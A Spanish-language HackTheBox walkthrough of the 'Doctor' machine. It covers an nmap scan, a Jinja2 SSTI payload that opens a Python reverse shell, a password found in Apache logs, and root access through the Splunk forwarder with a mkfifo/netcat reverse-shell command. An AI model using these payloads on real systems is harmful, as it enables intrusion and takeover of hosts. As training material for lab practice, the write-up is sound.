Doctor es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Doctor 10.10.10.209 a /etc/hosts como doctor.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
# Nmap 7.70 scan initiated Fri Nov 27 15:26:03 2020 as: nmap -sC -sV -oA nmap 10.10.10.209 Nmap scan report for 10.10.10.209 Host is up (0.053s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Doctor 8089/tcp open ssl/http Splunkd httpd | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: Splunkd |_http-title: splunkd | ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser | Not valid before: 2020-09-06T15:57:27 |_Not valid after: 2023-09-06T15:57:27 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Nov 27 15:26:49 2020 -- 1 IP address (1 host up) scanned in 46.12 seconds |
Observamos que tenemos los puertos 80 y 8089 abiertos por lo que comenzaremos revisando el portal web existente en el puerto 80.
Enumeración
Accedemos a través del navegador por el puerto 80 y observamos el siguiente portal web:
Revisamos el mismo y observamos una dirección de correo info@doctors.htb, así que agregamos este dns a nuestro fichero de /etc/hosts y accedemos a dicha url para ver su contenido y encontramos un portal de login:
Como no tenemos unas credenciales con las cuales acceder, probamos a registrarnos en la misma, observando el siguiente formulario:
Parece que podemos registrarnos así que crearemos nuestro usuario y posteriormente nos loguearemos con el mismo consiguiendo acceder al portal y visualizar la home del mismo, la cual tiene el siguiente aspecto:
Investigamos un poco esta parte y observamos una sección donde podemos crear un post para el portal aunque no parece que podamos hacer mucho por el momento con ello.
Revisamos el código fuente y encontramos un comentario donde indica una uri que no conocíamos hasta ahora, la uri es /archive
Así que probamos a acceder a la misma pero parece que está en blanco, revisamos el código fuente de la misma y encontramos que el contenido que habíamos metido anteriormente en el post creado aparece en la misma:
Por lo que vamos a probar a meter un código como un nuevo objeto en la misma. Introduciremos el siguiente código en los campos de creación del post:
1 |
</title></item><h1>hello bytemind</h1> |
Y observamos que nuestro título ahora sí que aparece en la página, por lo que parece que aqui hay una vulnerabilidad:
Por lo que hemos podido observar parece que se trata de la vulnerabilidad Server-Side Template Injection, pero necesitaremos realizar más pruebas al respecto para corroborar que efectivamente se trata de la misma.
Revisando por google encontramos un repositorio en github donde trata este tema e incluye una serie de ejemplos de como probarlo y de exploits para poder explotarla.
El repositorio es PayloadsAllTheThings y en la sección de jinja2 encontramos lo que necesitamos para verificar la vulnerabilidad.
Para verificarlo de una forma simple vemos el siguiente código:
1 2 3 |
{{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 {{config.items()}} |
Por lo que crearemos nuestro post con el siguiente contenido:
1 |
</title></item>{{7*'7'}} |
Y vemos que efectivamente devuelve en la página de /archive el código 7777777 por lo que podemos confirmar que es vulnerable.
Generaremos entonces nuestro exploit gracias a la explicación de la sección Exploit the SSTI by writing an evil config file, por lo que nuestro payload será el siguiente:
1 |
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.x.x\",xxxx));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %} |
Creamos un nuevo post con nuestro payload y recargamos la página de /archive y automáticamente obtendremos una shell en nuestra escucha en netcat:
1 2 3 4 5 6 7 8 9 10 11 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.4] from doctors.htb [10.10.10.209] 53506 bash: cannot set terminal process group (824): Inappropriate ioctl for device bash: no job control in this shell web@doctor:~$ whoami whoami web web@doctor:~$ id id uid=1001(web) gid=1001(web) groups=1001(web),4(adm) |
Ya estamos dentro de la máquina pero vemos que en la home de este usuario no se encuentra la flag de user que esperábamos:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
web@doctor:~$ web@doctor:~$ ll ll total 48 drwxr-xr-x 6 web web 4096 Sep 28 15:04 ./ drwxr-xr-x 4 root root 4096 Sep 19 16:54 ../ lrwxrwxrwx 1 web web 9 Jul 26 14:24 .bash_history -> /dev/null -rw-r--r-- 1 web web 220 Jul 20 22:34 .bash_logout -rw-r--r-- 1 web web 3771 Jul 20 22:34 .bashrc drwxr-xr-x 3 web web 4096 Sep 22 11:29 blog/ -rwxrwxr-x 1 web web 135 Jul 26 14:12 blog.sh* drwxrwxr-x 5 web web 4096 Jul 27 20:45 .cache/ drwxr-xr-x 4 web web 4096 Jul 27 20:45 .config/ drwxrwxr-x 5 web web 4096 Jul 26 12:46 .local/ -rw-r--r-- 1 web web 807 Jul 20 22:34 .profile -rw------- 1 web web 177 Jul 27 20:45 .python_history -rw-rw-r-- 1 web web 66 Jul 26 12:44 .selected_editor |
Seguiremos entonces con nuestra búsqueda y encontramos un fichero interesante en /var/log/apache2/backup donde parece que hay lo que podría ser una contraseña:
1 2 3 4 |
web@doctor:/var/log/apache2$ cat backup|grep -i pass cat backup|grep -i pass 10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password" web@doctor:/var/log/apache2$ |
Probamos la escalada con el usuario shaun descubierto anteriormente y la contraseña que acabamos de conseguir y bingo!
1 2 3 4 5 |
web@doctor:~$ su shaun su shaun Password: Guitar123 whoami shaun |
Pero además del escalado, ahora parece que no tenemos una shell interactiva, utilizaremos python para conseguir una:
1 2 |
python3 -c 'import pty; pty.spawn("/bin/bash")' shaun@doctor:/home/web$ |
Obteniendo la flag de user
Ahora que ya hemos conseguido entrar con el usuario shaun, iremos a la home de este usuario para conseguir la flag de user:
1 2 3 4 5 6 7 8 9 10 |
shaun@doctor:/home/web$ cd cd shaun@doctor:~$ ls -l ls -l total 4 -r-------- 1 shaun shaun 33 Nov 27 16:25 user.txt shaun@doctor:~$ cat user.txt cat user.txt e--------------------------b shaun@doctor:~$ |
Escalado de privilegios
Completado este primer paso, ahora nos queda escalar privilegios hasta root para conseguir la flag del mismo. Para intentar obtener más información del sistema utilizaremos el script linPEAS con el cual obtendremos más información del sistema.
Después de un primer vistazo observamos el usuario splunk, que ya vimos al principio que el puerto 8089 perteneciente al mismo estaba levantado, así que buscamos más información relacionada con este usuario y el servicio como tal:
1 2 3 4 5 6 7 |
shaun@doctor:/tmp$ ./linPEAS.sh | grep -i splunk ./linPEAS.sh | grep -i splunk shaun 26164 0.0 0.0 17664 664 pts/0 S+ 17:23 0:00 \_ grep --color=auto -i splunk root 1136 0.0 2.2 257468 88396 ? Sl 16:25 0:03 splunkd -p 8089 start Sorry, try again. splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash uid=1003(splunk) gid=1003(splunk) groups=1003(splunk) |
Intentamos obtener más información al respecto y después de una serie de vueltas por google encontramos un exploit en github para el escalado de privilegios tanto a nivel local como remoto, por lo que nos descargaremos el mismo y lo ejecutaremos con los accesos obtenidos hasta el momento.
Descargamos el mismo y lo ejecutamos, indicando nuestro payload para obtener una shell inversa:
1 2 3 4 5 6 7 8 9 10 |
$ python PySplunkWhisperer2_remote.py --lhost 10.10.14.4 --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/bash -c "rm /tmp/bytemind;mkfifo /tmp/bytemind;cat /tmp/bytemind|/bin/sh -i 2>&1|nc 10.10.14.4 4444 >/tmp/bytemind"' Running in remote mode (Remote Code Execution) [.] Authenticating... [+] Authenticated [.] Creating malicious app bundle... [+] Created malicious app bundle in: /tmp/tmpoj9qlz.tar [+] Started HTTP server for remote mode [.] Installing app from: http://10.10.14.4:8181/ 10.10.10.209 - - [27/Nov/2020 16:35:26] "GET / HTTP/1.1" 200 - [+] App installed, your code should be running now! |
Y automáticamente obtenemos una shell en nuestra escucha con el usuario root:
1 2 3 4 5 6 7 8 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.4] from doctors.htb [10.10.10.209] 53592 /bin/sh: 0: can't access tty; job control turned off # whoami root # id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo la flag de root
Ya hemos conseguido ser root por lo que el último paso será acceder a la home de este y conseguir nuestra flag:
1 2 3 4 5 6 7 |
# cd /root # ls -l total 4 -r-------- 1 root root 33 Nov 27 16:25 root.txt # cat root.txt 9xxxxxxxxxxxxxxxxxxxxxxxxxx4 # |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace